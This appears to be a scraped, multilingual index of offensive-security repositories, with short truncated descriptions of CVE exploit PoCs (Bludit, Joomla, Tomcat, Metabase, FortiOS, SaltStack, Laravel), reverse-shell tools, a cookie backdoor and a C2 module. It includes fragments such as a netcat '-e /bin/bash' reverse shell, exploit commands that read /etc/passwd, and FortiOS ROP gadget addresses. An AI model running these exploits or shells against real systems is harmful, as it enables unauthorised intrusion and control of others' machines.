python-hacklib

hacklib 面向黑客爱好者的Python工具包。 hacklib 是一个供对网络安全感兴趣的黑客爱好者使用的 Python 模块。它已不再活跃开发。 安装 要获取 hacklib，只需在命令行运行： pip install hacklib hacklib 还带有一个用户界面。要使用它，你可以执行以下操作之一： 下载 hacklib.py 并在控制台运行： python hacklib.py ---------------------------------------------- 嗨。我能为您做什么？ 请输入对应您选择的数字。 1 连接到代理 2 指定目标 IP 或 URL 3...

CVE-2016-16113-POC

Get RCE - Bludit CMS 漏洞利用工具 | | / / \ / | | \ \ / / ' | | | | ' | | | | | \ V /| | | | || | | | | | | | ,|/ / || ||/|| || ||| 一个自动化利用工具，结合了 CVE-2019-17240 （认证绕过）和 CVE-2019-16113 （任意文件上传），可在易受攻击的 Bludit CMS 安装上实现远程代码执行。 ⚠️ 法律免责声明 仅限授权的安全测试...

Joomla_CVE-2015-8562

JoomlaCVE-2015-8562 Joomla CVE-2015-8562 漏洞的概念验证（对象注入远程代码执行） 简介/变更日志 该 PoC 是托管在 exploit-db 上的实现的第二个版本。 -修复（重新生成会话） -添加了从 X-Forwarded-For 切换到 User-Agent 方法的选项 -添加了从 Python 反向 shell 切换到 bash 的选项 -添加了对缺少 http 架构和脚本终止异常的捕获 -为更好的使用体验、更好的消息和颜色进行了编辑 -TODO: 添加 msf 支持 如何使用 git clone...

CVE-2023-28771-PoC

CVE-2023-28771-PoC 基于 Rapid7 出色分析报告的 CVE-2023-28771 PoC 需要 scapy Python 库来发送 IKE 数据包。 usage: CVE-2023-28771-poc.py -h --cmd CMD --lhost LHOST --lport LPORT rhost positional arguments: rhost options: -h, --help show this help message and exit --cmd CMD --lhost LHOST --lport LPORT 要么使用 --cmd...

CVE-2025-24893

CVE-2025-24893 的反向 Shell python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" 升级 Shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 是 Apache Tomcat 中一个严重的远程代码执行（RCE）漏洞。 该漏洞影响版本 9.0.0.M1 - 9.0.0, 8.5.0-8.5.22, 8.0.0.RC1 - 8.0.46, 7.0.0 - 7.0.81。 仅在 8.0.24 上测试过。漏洞利用了应用程序或 Tomcat 实例本身配置不当的 PUT 选项。 它使用 PUT 将反向 shell 有效载荷发送到服务器并执行，同时用 netcat 监听。 由于互联网上存在许多相同漏洞的利用版本但基于 python2，我将其重写为与 Python 3 兼容。 祝玩得愉...

metabase-pre-auth-rce-poc

Metabase Pre-Auth RCE CVE-2023-38646 POC Este es un script escrito en Python que permite la explotación de la falla de seguridad del software Metabase descrita en CVE-2023-38646. El sistema es vulnerable en versiones anteriores a la 0.46.6.1 , en la edición de código abierto, y anteriores a la...

FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

FuguHub 8.4 认证远程代码执行 Fuguhub 是一款云媒体服务器软件。测试的版本是Debian版本，链接如下： https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC 的 FuguHub v.8.4 存在一个问题，允许本地攻击者通过向管理员面板的“关于”页面发送特制脚本来执行任意代码。 显示FuguHub下载页面的截图 安装步骤： wget FuguHub.com/install/FuguHub.linux.install chmod +x FuguHub.linux.install sudo...

Girsh

Girsh Golang インタラクティブリバースシェル リバースシェルを完全なインタラクティブリバースシェル（tty spawn, stty size ..., stty raw -echo）にアップグレードするための数行を手動で打つのに飽きたり、ConPTYを使用するコマンドを打つのに飽きたりしませんか。 説明 Girsh を実行するだけで、OS を検出し、完全なインタラクティブリバースシェルにアップグレードするための正しいコマンドを実行します。 Linux の場合: 端末のサイズを取得 python2.7、python3、python を使用して tty を生成 端末を raw に...

mediator

Mediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a "mediator" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create...

mediator

Mediatorは、オペレーターとシェルが接続をブリッジする「mediator」サーバーに接続する、エンドツーエンド暗号化されたリバースシェルです。これにより、オペレーター/ハンドラーが接続を待ち受けるためにポートフォワーディングを設定する必要がなくなります。Mediatorでは、リバースシェルの機能を拡張するプラグインを作成することもできます。 Mediatorのスクリプトはスタンドアロンの実行可能ファイルとして実行することも、他のペネトレーションテストやインシデントレスポンスツールに統合するためにインポートすることもできます。 アーキテクチャ:...

ImageTragick-CVE-2016-3714-RShell

ImageTragick-CVE-2016-3714-RShell 这些是利用bash、nc、php等工具构建反向Shell的CVE-2016-3714 mvg/svg POC。 声明 仅供研究和道德黑客使用…… 用法 1. 服务器端：nc -l - p 端口号 2. 将图片上传到漏洞站点 致谢 感谢virgoTeam的ding提供的php反向Shell POC 参考 https://imagetragick.com/ jpeanut@VirgoTeam...

sh1mazu

Shimazu 4.0 - 代号 met@rpet@r 这是一个自动反向后门shell程序，用于利用操作系统漏洞。...

CVE-2024-21762

CVE-2024-21762 Fortinet FortiOS 中的越界写入漏洞 CVE-2024-21762 Exploit POC 来自 assetnote ssldohandshakeptr = b"%60%ce%42%00%00%00%00%00" getcwdptr = b"%70%62%2c%04%00%00%00%00" pivot1 = b"%52%f7%fd%00%00%00%00%00" push rdi; pop rsp; ret; pivot2 = b"%ac%c9%ab%02%00%00%00%00" add rsp, 0x2a0; pop rbx; pop...

hershell

Hershell NOTE: the project has been forked on this repo, check there for any other developments. Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception...

hershell

Hershell 注意： 该项目已分支至此仓库，请在那里查看其他开发进展。 Hershell 是一个用 Go 编写的简单 TCP 反向 Shell。 它使用 TLS 来保护通信，并提供证书公钥指纹固定功能，防止流量被拦截。 支持的操作系统： Windows Linux Mac OS FreeBSD 及其衍生版本 为什么？ 虽然 meterpreter 负载非常强大，但有时会被防病毒产品检测到。 此项目的目标是获得一个能够在多个系统上工作的简单反向 Shell。 如何实现？ 由于它使用 Go 编写，因此可以针对目标架构交叉编译源代码。 快速入门与依赖 由于这是一个 Go...

external-c2-experiments

外部 C2：SSH 一个 go-exploit 外部 C2 模块，支持反向 SSH shell。它同时也是一个演示，展示如何将外部 C2 配置文件集成到你喜欢的 payload 中。目标不是提供一个带有规避和高级技术的完全武器化 payload，而是展示如何为那些 能够 实现更强规避模块并轻松集成到 go-exploit 中的 payload 创建通道。 结构 核心 c2ssh 包，实现了用于设置服务器以捕获 SSH payload 的接口和结构 ./payload 包含供 exploit 使用的 payload 实现，功能上是 SSH 客户端以及围绕 exec 的薄封装，基于服务器响应...

backcookie

backcookie 使用 cookie 的小型后门。 ========== Example one: python backcookie.py -u http://target.com/shell.php -c namecookie Example two: python backcookie.py --url http://target.com/shell.php --cookie namecookie 自定义命令（binfo），可以获取目标信息。 @pwned:$ binfo 自定义命令（exit），用于退出。 @pwned:$ exit 收录于 - blackarch 黑客愉快！...

CVE-2024-21546

CVE-2024-21546 Python漏洞利用脚本 🔥 描述 该Python漏洞利用脚本针对由UniSharp 创建的存在漏洞的Laravel文件管理器，允许认证用户绕过文件限制并上传恶意文件。当上传的有效负载被触发时，可能导致远程代码执行RCE 。 该漏洞利用执行以下操作： 验证用户提供的laravelsession 通过正则表达式提取CSRF token 上传包含PHP反弹Shell有效负载的假PNG文件 触发上传的文件 ⚠️ 受影响版本 2.9.1及更早版本 ⚙️ 用法 python3 CVE-2024-21546.py 重要：在运行脚本之前启动你的监听器： nc -lvnp 💻...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...